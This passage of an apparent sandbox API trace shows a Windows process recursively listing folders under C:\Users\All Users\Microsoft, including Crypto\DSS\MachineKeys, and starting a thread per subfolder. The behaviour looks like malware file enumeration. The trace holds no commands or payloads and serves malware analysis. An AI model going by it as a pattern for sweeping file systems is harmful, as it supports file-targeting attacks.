cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0173.683] wcscmp (_String1="ApplicationViewsRootNode", _String2=".") returned 1 [0173.683] wcscmp (_String1="ApplicationViewsRootNode", _String2="..") returned 1 [0173.683] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fa2ef8 [0173.683] wcscpy (in: _Dest=0x2fa2ef8, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0173.683] wcscat (in: _Dest=0x2fa2ef8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\" [0173.683] wcscat (in: _Dest=0x2fa2ef8, _Source="ApplicationViewsRootNode" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0173.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa2ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0173.990] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0173.990] FindClose (in: hFindFile=0x2f7ffa0 | out: hFindFile=0x2f7ffa0) returned 1 [0173.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2ab0) returned 1 [0173.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67db0) returned 1 [0173.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0173.990] RtlExitUserThread (Status=0x0) Thread: id = 2178 os_tid = 0x12f0 [0173.684] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa48a0 [0173.684] wcscpy (in: _Dest=0x2fa48a0, _Source="C:\\Users\\All Users\\Microsoft\\DRM\\Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server" [0173.684] wcscat (in: _Dest=0x2fa48a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\" [0173.684] wcscat (in: _Dest=0x2fa48a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*" [0173.684] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0173.684] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe20 [0173.684] wcscmp (_String1=".", _String2=".") returned 0 [0173.684] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.684] wcscmp (_String1="..", _String2=".") returned 1 [0173.684] wcscmp (_String1="..", _String2="..") returned 0 [0173.684] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.685] FindClose (in: hFindFile=0x2f7fe20 | out: hFindFile=0x2f7fe20) returned 1 [0173.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0173.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa48a0) returned 1 [0173.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88b00) returned 1 [0173.685] RtlExitUserThread (Status=0x0) Thread: id = 2179 os_tid = 0x12f4 [0173.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x2f71228 [0173.686] wcscpy (in: _Dest=0x2f71228, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0173.686] wcscat (in: _Dest=0x2f71228, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0173.686] wcscat (in: _Dest=0x2f71228, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*" [0173.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0173.686] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ffe0 [0173.687] wcscmp (_String1=".", _String2=".") returned 0 [0173.687] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.687] wcscmp (_String1="..", _String2=".") returned 1 [0173.687] wcscmp (_String1="..", _String2="..") returned 0 [0173.687] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0173.687] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2=".") returned 1 [0173.687] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2="..") returned 1 [0173.687] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3057190 [0173.687] wcscpy (in: _Dest=0x3057190, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0173.687] wcscat (in: _Dest=0x3057190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0173.687] wcscat (in: _Dest=0x3057190, _Source="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0173.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3057190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0173.987] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0173.987] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2=".") returned 1 [0173.987] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2="..") returned 1 [0173.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3057248 [0173.987] wcscpy (in: _Dest=0x3057248, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0173.987] wcscat (in: _Dest=0x3057248, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0173.987] wcscat (in: _Dest=0x3057248, _Source="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0173.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3057248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0173.988] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0173.988] FindClose (in: hFindFile=0x2f7ffe0 | out: hFindFile=0x2f7ffe0) returned 1 [0173.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0173.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f71228) returned 1 [0173.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63f28) returned 1 [0173.988] RtlExitUserThread (Status=0x0) Thread: id = 2180 os_tid = 0x12f8 [0173.688] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x3057830 [0173.688] wcscpy (in: _Dest=0x3057830, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0173.688] wcscat (in: _Dest=0x3057830, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0173.688] wcscat (in: _Dest=0x3057830, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*" [0173.688] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1508 [0173.688] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80060 [0173.688] wcscmp (_String1=".", _String2=".") returned 0 [0173.688] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.688] wcscmp (_String1="..", _String2=".") returned 1 [0173.688] wcscmp (_String1="..", _String2="..") returned 0 [0173.688] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0173.688] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2=".") returned 1 [0173.688] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2="..") returned 1 [0173.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056f68 [0173.689] wcscpy (in: _Dest=0x3056f68, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0173.689] wcscat (in: _Dest=0x3056f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0173.689] wcscat (in: _Dest=0x3056f68, _Source="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0173.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0173.984] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0173.984] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2=".") returned 1 [0173.984] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2="..") returned 1 [0173.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056d40 [0173.984] wcscpy (in: _Dest=0x3056d40, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0173.984] wcscat (in: _Dest=0x3056d40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0173.984] wcscat (in: _Dest=0x3056d40, _Source="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0173.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0173.985] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0173.985] FindClose (in: hFindFile=0x2f80060 | out: hFindFile=0x2f80060) returned 1 [0173.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1508) returned 1 [0173.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057830) returned 1 [0173.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87ea0) returned 1 [0173.985] RtlExitUserThread (Status=0x0) Thread: id = 2181 os_tid = 0x12fc [0173.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x30578a0 [0173.689] wcscpy (in: _Dest=0x30578a0, _Source="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi" [0173.689] wcscat (in: _Dest=0x30578a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\" [0173.689] wcscat (in: _Dest=0x30578a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*" [0173.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d748 [0173.690] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fb20 [0173.690] wcscmp (_String1=".", _String2=".") returned 0 [0173.690] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.690] wcscmp (_String1="..", _String2=".") returned 1 [0173.690] wcscmp (_String1="..", _String2="..") returned 0 [0173.690] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.691] FindClose (in: hFindFile=0x2f7fb20 | out: hFindFile=0x2f7fb20) returned 1 [0173.691] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d748) returned 1 [0173.691] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30578a0) returned 1 [0173.691] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f878f0) returned 1 [0173.691] RtlExitUserThread (Status=0x0) Thread: id = 2182 os_tid = 0x1300 [0173.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa4840 [0173.692] wcscpy (in: _Dest=0x2fa4840, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0173.692] wcscat (in: _Dest=0x2fa4840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\" [0173.692] wcscat (in: _Dest=0x2fa4840, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" [0173.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b330 [0173.692] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe20 [0173.692] wcscmp (_String1=".", _String2=".") returned 0 [0173.692] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.692] wcscmp (_String1="..", _String2=".") returned 1 [0173.692] wcscmp (_String1="..", _String2="..") returned 0 [0173.693] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0173.693] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0173.693] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0173.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x3057520 [0173.693] wcscpy (in: _Dest=0x3057520, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0173.693] wcscat (in: _Dest=0x3057520, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\" [0173.693] wcscat (in: _Dest=0x3057520, _Source="MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" [0173.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3057520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0173.982] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, 